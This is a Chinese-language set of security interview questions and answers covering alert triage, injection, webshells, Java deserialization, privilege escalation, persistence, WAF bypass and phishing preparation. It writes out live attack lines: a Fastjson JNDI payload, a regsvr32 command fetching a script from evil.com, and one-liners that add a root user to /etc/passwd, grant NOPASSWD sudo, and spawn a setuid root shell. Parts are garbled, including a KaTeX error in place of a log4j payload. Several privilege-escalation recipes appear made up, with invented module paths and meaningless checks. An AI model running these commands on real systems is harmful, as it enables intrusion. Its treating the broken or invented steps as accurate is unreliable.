首先,我会先判断一下ip来源,判断是内网ip还是公网ip,若为内网ip,然后对请求包的内容是否存在恶意payload,然后再根据响应包内容有执行成功的回显,若相应包中有对应的payload的回显,则可以判断为攻击成功,但是此时,需要判断下是否为业务系统的逻辑造成的和是否是工作人员在测试业务系统漏洞,若工作人员证实了该告警为自家安全ip,则认为该攻击为误报,若非自家ip且不存在逻辑因素,则可判断为内网攻陷。若为公网ip,若恶意payload利用成功,则可判断为真实攻击。
如果看到一条SQL注入告警,怎么判断是否是攻击成功?对请求包的内容进行检查,检查是否存在sql注入的利用语句,同时检查响应包内容有执行成功的回显,若相应包中存在sql注入攻击成功的回显,则可判断攻击成功。
报错注入的原理是什么?在MYSQL中使用一些指定的函数来人为制造报错,后台没有屏蔽数据库报错信息, 在语法发生错误使得查询结果能够出现在错误信息中回显在前端,从而从报错信息中获取设定的信息。
文件上传的攻击特征是什么文件上传首先是POST的数据包,且content-type为multipart/form-data,如果为恶意的文件上传漏洞攻击,则数据包中filename属性的后缀为jsp,php,asp等恶意后缀,且文件内容一般为webshell内容
Webshell是什么,原理是什么WebShell就是一句话木马,由于脚本语言的动态性,木马文件通过命令执行System函数或者代码执行eval函数等,参数为用户外部传入(如GET传参,POST传参)达到执行任意代码任意命令的功能。从而远程控制目标主机。
如何检测Webshell静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell。动态监测通过日志,流量,文件访问频率等方法进行检测。
常用的Webshell管理工具冰蝎,蚁剑,哥斯拉,菜刀
常见的网络服务器容器IIS、Apache、nginx、Lighttpd、Tomcat
有哪些威胁情报平台微步,绿盟,阿里云,奇安信等
一台主机在内网进行横向攻击,你应该怎么做确定攻击来源,是不是员工内部误操作,比如询问运维是否有自动化轮训脚本。如果没有,确定是攻击,结合时间点,根据设备信息,看一下安全事件,进程,流量,找到问题主机,开始应急响应流程:准备,检测,遏制,根除,恢复,跟踪,具体的操作要交给现场运维去处理。
SQL注入的预防预编译
PDO
正则表达式过滤序列化与反序列化的区别
序列化:把对象转化为可传输的字节序列过程称为序列化
反序列化:把字节序列还原为对象的过程称为反序列化正向SHELL和反向SHELL的区别
正向shell,攻击者连接被攻击者机器反向shell,被攻击者主动连接攻击者正向代理,客户端代理,服务器不知道实际发起请求的客户端反向代理,服务器代理,客户端不知道实际提供服务的服务端
基础端口号22:ssh端口23:telnet端口53:DNS端口80:web端口1433:sql-server端口3306:Mysql端口3389:RDP端口5432:postgresql6379:redis端口
如何查看当前进程?Ps -ef 或 ps -aux
临时目录是哪个文件夹?/tmp ,/var/tmp
用户列表是在哪个目录下(如何查看Linux有哪些用户)/etc/passwd
常见的网络服务器容器IIS、Apache、nginx、Lighttpd、Tomcat
Java常见的框架中间件及漏洞struct2框架一个基于MVC设计模式的Web应用框架)这个框架全是漏洞
Fastjson框架阿里巴巴开源的JSON工具解析库1.2.47版本前存在反序列化漏洞框架特征:post数据包,content-type为application/json, post内容为json数据,且其中有@type标识
比如
{
"a":{
"@type":"java.lang.Class",
"val":"COM.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/Exploit",
"autoCommit":true
}
}
shiro框架
apache的一个权限管理的开源框架,实现 用户认证、用户授权。若shiro框架服务端使用默认密钥,则会存在反序列化漏洞框架特征:cookie字段为存在rememberMe=xxxxx;
weblogic容器一个基于JAVAEE架构的中间件weblogic存在许多漏洞,弱口令,SSRF,反序列化,任意文件上传,XMLDecoder反序列化框架特征,一般在7001端口,漏洞检测常用工具
tomcat容器最常见的java web容器漏洞,弱口令,幽灵猫,PUT方法任意写文件框架特征,一般为8080端口
怎么防御CSRF- 提交表单时,增加一个隐藏的token
- 验证 HTTP Referer 字段
物理层 数据链路层 网络层 传输层 会话层 表示层 应用层
盲注是什么?就是你在测试注入数据库的时候,数据库没有任何回显,只显示对错。
你会用什么办法溯源攻击方的个人信息呢- 首先通过日志和蜜罐等方式获取到攻击方的 ip,可以对 ip 进行反向渗透获取信息,定位攻击者信息。
- 也可以通过搜索引擎或者安全情报,获取 ip 对应攻击者的网名id,再通过社交平台获取攻击者的信息
- 通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析
- 如果攻击者有种植木马等,可以提取样本特征如用户名、ID、邮箱、C2 服务器等信息—同源分析
- 搭载 jsonp 钓鱼的蜜罐,通过 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等
上报攻击 ip 的地址,先判断是内网 ip 还是公网 ip,如果是内网ip,查看是否是业务白名单行为,若不是再上报进行判断。若是公网 ip,查看是否在白名单内,若不是查看是否是扫描器 ip,若是扫描器 ip,扫描对业务或者对研判产生了影响则可以上报,若不是且判断出是真实攻击 ip 也进行上报。
怎么通过流量分析 ,判断出对方攻击成功了?- 可以通过返回包判断攻击是否成功,比如命令执行攻击有回显的话返回包就会有命令执行的结果。如果有一些安全设备的话也可以通过查看告警信息判断。
- 可以对请求包进行重放来判断,在自己的机器上重放流量包,将 payload 改成自己的 payload 来判断是否攻击成功
你不能很快看见 ,那该怎么通过流量分析判断出攻击是否生效了?重放流量包,将 payload 改成自己的来进行判断。
xss除了获取cookie还能干什么?答:用户劫持、结合csrf补充:貌似能提权??
ssrf的原理与危害?答:伪造服务器给内网发消息
XSS,CSRF和SSRF区别?(很常问)XSS:跨站脚本攻击;
CSRF:跨站请求伪造脚本攻击;
SSRF:服务器请求伪造攻击。
区别:
XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染服务器返回的html页面时,出现了预期值之外的 脚本语句被执行。
CSRF:CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以 利用用户的Cookie信息伪造用户请求发送至服务器。
SSRF:SSRF是服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。
CSRF (Cross-site Request forgery)跨站请求伪造SSRF (Server-Side Request Forgery)服务器端请求伪造csrf 一个是客户端发起,ssrf是从服务端发起的
如何寻找注入点?答:字符,数字,盲注…
有用过sql注入传马吗?答:用过into outfile补充:可以通过日志文件写入木马
–os-shell的条件?答:拥有网站的写入条件补充:Secure_file_priv参数为空或者为指定路径。
Fastjson的原理?答:启一个rmi的服务器,上面挂payload,让被攻击的目标反序列化特定的类,这个类最终会调用lookup()函数,导致jndi接口指向rmi服务器上的恶意payload
利用fastjson注入内存马原理?答:不知道这里应该怎么说,例如spring mvc的话就是通过fastjson的反序列化,利用jndi的方式让web端加载恶意类,注入controller
内存马免*有做过吗?具体说说答:没做过,在网上找现成的补充:Filter名称是否合理Filter对应的类名是否合理Filter对应的类是否在classpath下网站web.xml中是否存在改filter
不借助dnslog有办法检测log4j2是否出网吗答:dns到VPS判断是否出网补充:使用logg.error(“KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …s://xxxxx:8090/{java:version}}”);在自己的VPS上nc -luvvp 8090即可收到信息
你是如何验证struts2是否存在的答:检测工具,或者抓包,改post,把content-Type改为application/xml,放上payload
有做过代码审计吗?有0day吗?答:没有,没有
Redis未授权有了解吗?答:有,可以配合ssrf打组合拳
Springboot 有哪些漏洞?答:只知道一个snakeyaml
冰蝎和菜刀等webshell工具有什么区别?答:冰蝎有流量动态加密
xxe原理与攻击手法?答:解析XML输入时可以加载外部实体类,造成文件读取,命令执行等危害。直接dtd加载dnslog等等
序列化与反序列化的区别1.序列化:把对象转化为可传输的字节序列过程称为序列化。2.反序列化:把字节序列还原为对象的过程称为反序列化。
数据库有哪些,关系型的和非关系型的分别是哪些关系型MySQL:3306
SQL Server:1433
Oracle:1521
DB2:5000
MongoDB:27017---非关系型数据库非关系型
Redis:6379
Memcached:11211
PHP反序列化PHP代码执行的危险函数
call_user_func()call_user_func_array()create_function()array_map()
PHP命令执行函数systemshell_execpassthruexecpopenproc_openputenvassert
如何判断当前主机是否在域环境内?ipconfig /all看dns后缀,systeminfo、net config workstation、net time /domain
linux和windows怎么判断?linux大小写敏感
什么是免*将shellcode进行加密,动态解密恢复,申请可写可执行内存并写入解密后的shellcode,将函数指针指向这块内存的起始位置并开始执行。
免*有几种途径?答:修改特征码、流量混淆、花指令、加壳
内网扫描的方式内网fscan扫描 或者 搭建内网socks5代理然后走代理进行扫描
谈谈Windows系统提权的思路1、系统内核溢出漏洞提权
2、数据库提权
3、错误的系统配置提权
4、web 中间件漏洞提权
5、第三方软件提权
说详细一些
eImpersonatePrivilege提权
1.执行whoami /priv命令,查看当前用户是否拥有SeImpersonatePrivilege权限。
2.如果拥有权限,使用Impersonate-User脚本提权。该脚本会创建一个新的进程,并使用当前用户的权限执行该进程。
3.如果没有该权限,使用PowerUp脚本,该脚本会检测系统中是否存在可利用的漏洞,并提供相应的利用方法。
DLL劫持提权
1.找到可劫持的DLL文件,如“user32.dll”。
2.创建恶意DLL文件,并将其重命名为“user32.dll”。
3.将恶意DLL文件放置在系统目录下,等待用户或系统调用“user32.dll”时,恶意DLL文件会被加载,从而可以获得系统权限。
Token提权
1.执行whoami /groups命令,查看当前用户所属的组。
2.利用PsExec工具,执行命令psexec -i -d -s cmd.exe,可以获得一个System权限的命令行窗口。
3.在命令行窗口中执行whoami /groups命令,可以看到当前用户已经拥有System权限的token。
Schtasks提权
1.使用schtasks /query命令查看当前系统中的计划任务。
2.找到一个可利用的计划任务,如“System Restore Checkpoint”任务。
3.利用Metasploit框架中的exploit/windows/local/schtasks模块,可修改该任务的参数,从而获得系统权限。
Windows Installer提权
1.执行msiexec /i命令,安装一个恶意的MSI文件。
2.在安装过程中,会自动创建一个System权限的进程。
3.利用该进程,可以执行任意的命令,从而获得系统权限。
服务提权
1.使用sc或net start命令查看当前正在运行的服务。
2.找到一个可利用的服务,如“Print Spooler”服务。
3.利用Metasploit框架中的exploit/windows/local/service_permissions模块,可提升该服务的权限,从而获得系统权限。
Windows Subsystem for Linux提权
1.Windows系统中安装Windows Subsystem for Linux(WSL)。
2.在WSL中安装Metasploit框架。
3.利用Metasploit框架中的exploit/linux/local/sudo模块,可提升当前用户的权限,从而获得系统权限。
利用COM提权
1.执行regsvr32 /s /u /i:https://evil.com/evil.sct scrobj.dll命令,注入一个恶意的COM脚本。
2.注入成功后,会自动执行该脚本,并创建一个System权限的进程。
3.利用该进程,可以执行任意的命令,从而获得系统权限。
Kernel提权
1.执行systeminfo命令,查看当前系统的信息。
2.找到一个可利用的漏洞,如CVE-2019-1458漏洞。
3.利用Metasploit框架中的exploit/windows/local/kernel模块,可利用该漏洞提升当前用户的权限,从而获得系统权限。
Windows Management Instrumentation提权
1.执行wmic service list brief命令,查看当前正在运行的服务。
2.找到一个可利用的服务,如“Winmgmt”服务。
3.利用Metasploit框架中的exploit/windows/local/wmi模块,可提升该服务的权限,从而获得系统权限。
Linux系统提权的思路SUID提权
1.查找具有SUID权限的文件:find / -perm -4000 -type f 2>/dev/null
2.查看这些文件是否有漏洞:strings /usr/bin/sudo | grep "^"、strings /usr/bin/passwd | grep "^"
3.找到一个有漏洞的文件,利用漏洞获取root权限
内核提权
1.查看内核版本:uname -a
2.查找内核漏洞:searchsploit Linux Kernel <version> | grep -i "privilege escalation"
3.找到一个有漏洞的内核,利用漏洞获取root权限。
/etc/passwd提权
1.在/etc/passwd中添加一个新用户:echo "hacker::0:0:hacker:/root:/bin/bash" >> /etc/passwd
2.切换到新用户:su hacker
3.获取root权限:sudo su
LD_PRELOAD提权
1.编写一个恶意的共享库:cat > rootkit.c << EOF、gcc -shared -o rootkit.so rootkit.c
2.设置LD_PRELOAD环境变量:export LD_PRELOAD=/path/to/rootkit.so
3.运行一个程序,就能够以root权限运行:sudo /usr/bin/vim
/etc/sudoers提权
1.查看是否存在可利用的sudoers文件:cat /etc/sudoers、cat /etc/sudoers.d/*
2.如果存在可利用的sudoers文件,就可以添加一条提权规则:echo "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
3.切换到hacker用户,就能够以root权限运行:sudo su
枚举系统提权
1.查找系统中的敏感文件:find / -name *.txt -o -name *.log -o -name *.conf -o -name *.sh
2.查看这些文件是否有漏洞,是否包含root密码等信息。
3.利用这些信息获取root权限。
系统服务提权
1.查看正在运行的系统服务:ps aux | grep root
2.查找这些服务是否有漏洞:searchsploit <service> | grep -i "privilege escalation"
3.找到一个有漏洞的服务,利用漏洞获取root权限。
/etc/shadow提权
1.查看/etc/shadow文件是否有漏洞:cat /etc/shadow
2.如果存在可利用的漏洞,就可以利用漏洞获取root权限。
suidperl提权
1.查找系统中是否安装suidperl:find / -name suidperl 2>/dev/null
2.如果存在suidperl,可利用漏洞获取root权限:suidperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
木马驻留系统的方式有哪些?1、注册表
2、计划任务
3、服务
4、启动目录
5、关联文件类型
内网提权思路1.代理穿透2.权限维持3.内网信息收集4.口令爆破5.凭据窃取6.社工7.横行和纵向渗透8.拿下域控
Win提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。
方法:
1.系统内核溢出漏洞提权
2.数据库提权
3.错误的系统配置提权
4.组策略首选项提权
5.WEB中间件漏洞提权
6.DLL劫持提权
7.滥用高危权限令牌提权
8.第三方软件/服务提权等
Linux
方法:
1.Linux内核漏洞提权
2.低权限用户目录下可被Root权限用户调用的脚本提权(SUID)
3.环境变量劫持高权限程序提权
4.sudoer配置文件错误提权权限维持的思路?
答:加服务,加注册表 加启动项
简单说一下mssql提权答:我只记得xp_cmdshell和自启动补充:trigger提权、沙盒提权、计划任务提权、sethc.exe 替换粘滞键提权(替换c:\windows\system32\下的sethc.exe替换c:\windows\system32\dllcache\sethc.exe)
逻辑漏洞遇到过哪些,给你登录框有没有什么思路?
常见逻辑漏洞:越权,响应包修改,支付金额修改,cookie爆破,密码找回方面等等
登录页面思路:爆破,Session覆盖,sql注入,xss,任意用户注册,js文件查看敏感信息,短信轰炸,万能密码,二次注入,模板注入等等
优先以java反序列化这些漏洞像shiro,fastjson,weblogic,用友oa等等进行打点,随后再找其他脆弱
性易打进去的点。因为javaweb程序运行都是以高权限有限运行,部分可能会降权。
逻辑漏洞是指由于程序逻辑不严或逻辑太复杂,导致一些逻辑分支不能够正常处理或处理错误。
拿支付漏洞来说,简单思路有价格修改,支付状态修改,数量最大值溢出,订单替换,支付接口替换,四舍五入,越权支付等等。
拿登录来说,修改状态信息,密码修改跳过验证等等。
密码找回漏洞中存在:
1)密码允许暴力破解、
2)存在通用型找回凭证、
3)可以跳过验证步骤、
4)找回凭证可以拦包获取。
身份认证漏洞中最常见的是:1)会话固定攻击、
2)Cookie 仿冒。只要得到 Session 或 Cookie 即可伪造用户身份。
验证码漏洞中存在:
1)验证码允许暴力破解、
2)验证码可以通过 Javascript 或者改包的方法来进行绕过。
常见的中间件漏洞知道哪些?
IIS:PUT漏洞、短文件名猜解、远程代码执行、解析漏洞等
Apache:解析漏洞、目录遍历等
Nginx:文件解析、目录遍历、CRLF注入、目录穿越等
Tomcat:远程代码执行、war后门文件部署等
JBoss:反序列化漏洞、war后门文件部署等
WebLogic:反序列化漏洞、SSRF任意文件上传、war后门文件部署等
WAF绕过的手法你知道哪些?这里从以sql注入为例,从三个层面简单总结一下手法。
1.从架构层面:找到服务器真实IP,同网段绕过,http和https同时开放服务绕过,边缘资产漏洞利用绕过。
2.从协议层面:分块延时传输,利用pipline绕过,利用协议未覆盖绕过,POST及GET提交绕过。
3.从规则层面:编码绕过,等价符号替换绕过,普通注释和内敛注释,缓冲区溢出,mysql黑魔法,白名单及静态资源绕过,文件格式绕过,参数污染。等等等等等等
SQL注入原理的种类?防御呢?预编译原理?
原理:在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的“数
据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
种类:字符,数字,布尔,报错,延迟,联合,堆叠,宽字节,XFF等。
修复:使用预编译,PDO,正则表达式过滤,开启魔术引号,加装WAF等。
预编译原理:预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql注入的产生。
JAVA反序列化了解吗?有没有了解过shrio反序列化?(最常问,无论hvv还是工作面试)?Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,其作用把对象转换成字节流,便于保存或者传输,而ObjectInputStream类的readObject()方法用于反序列化,作用就是把字节流还原成对象。
shiro反序列化主要是Apache shiro提供了一个remember的一个功能,用户登录成功后会生成经过加密并编码的cookie,保存在浏览器中方便用户的日常使用,而服务器对cookie的处理流程就是先获取浏览器上保存的cookie,然后将其bs64解码,再进行AES解密,再将其反序列化进行校验,而漏洞就是出现在这里,我们都知道AES它是一个硬编码,他是有默认密钥的,如果程序员没有去修改或者过于简单,那我们就可以进行cookie重构,先构造我们的恶意代码,然后将恶意代码进行序列化,然后AES加密(密钥我们已经爆破出来了),再进行bs64编码,形成我们新的cookie,而服务器在处理时就会按照刚才的处理流程,就会在服务端触发我们构造的恶意代码。
讲诉一些近期及有代表性的漏洞?Microsoft Exchange.Net反序列化远程执行(CVE-2020-0688):该漏洞是由于Exchange控制面板(ECP)组件中使用了静态密钥validationKey和decryptionKey。
Apache Tomcat 文件包含漏洞(CVE-2020-1938):默认情 况下,Tomcat会开启AJP连接器, Tomcat在AJP协议的实 现上存在漏洞,导致攻击者可以通过发送恶意的请求,可 以读取或者包含Web根目录下的任意文件,配合文件上 传,将导致任意代码执行(RCE)。
Weblogic IIOP反序列化漏洞(CVE-2020-2551): weblogic核心组件中IIOP协议,通过该协议对存在漏洞 的WebLogic进行远程代码执行的攻击。
Apache Solr远程代码执行(CVE-2019-12409):默认 配置文件solr.in.sh,在其配置文件中 ENABLE_REMOTE_JMX_OPTS字段默认配置不安全.如果 使用默认配置,将启用JMX监视服务并将对公网监听 18983的RMI端口,无需任何验证,配合JMX RMI远程代码 执行。
泛微Ecology OA SQL注入漏洞:validate.jsp接口的SQL 注入,/cpt/manage/validate.jsp。
泛微ecology OA系统接口存在数据库配置信息泄露: /mobile/dbconfigreader.jsp,直接访问该页面将为DES加 密以后的乱码,使用DES算法结合硬编码的key进行解 密。
Confluence本地文件泄露漏洞(CVE-2019- 3394) :
catalina.jar中的org.apache.catalina.webresources.StandardRoot.class的 getResource方法的validate存在过滤和限制,所以可遍 历路径均在/WEB-INF下。
Apache Dubbo反序列化漏洞(CVE-2019-17564):当 HTTP remoting 开启的时候,存在反序列化漏洞。
水坑攻击和鱼叉攻击的区别是什么?水坑攻击指的就是黑客通过分析被攻击者经常访问的网络活动规律,寻找被攻击者经常访问的网站的
弱点,先攻击该网站植入攻击代码,等待被攻击者来访时实施攻击。
鱼叉攻击是指利用木马程序作为电子邮件的附件,发送到目标电脑,诱导受害者去打开附件感染木马。
邮件钓鱼的准备工作有哪些?钓鱼邮件,即一种伪造邮件,是指利用伪装的电子邮件,来欺骗收件人点击恶意 URL,或诱导收件人
下载带恶意程序的可执行文件。
1、确定邮件钓鱼的形式:链接、文件
2、收集目标相关的邮箱
3、编写钓鱼邮件文案
黑战士4、匿名邮箱
5、木马免*测试、钓鱼站点搭建
6、反溯源
代码执行、文件读取、命令执行的函数有哪
些?
文件执行:eval、call_user_func、call_user_array 等
文件读取:fopen()、readfile()、fread()、file()等
命令执行:system()、exec()、shell_exec()、passthru()、pcntl_exec()等
,















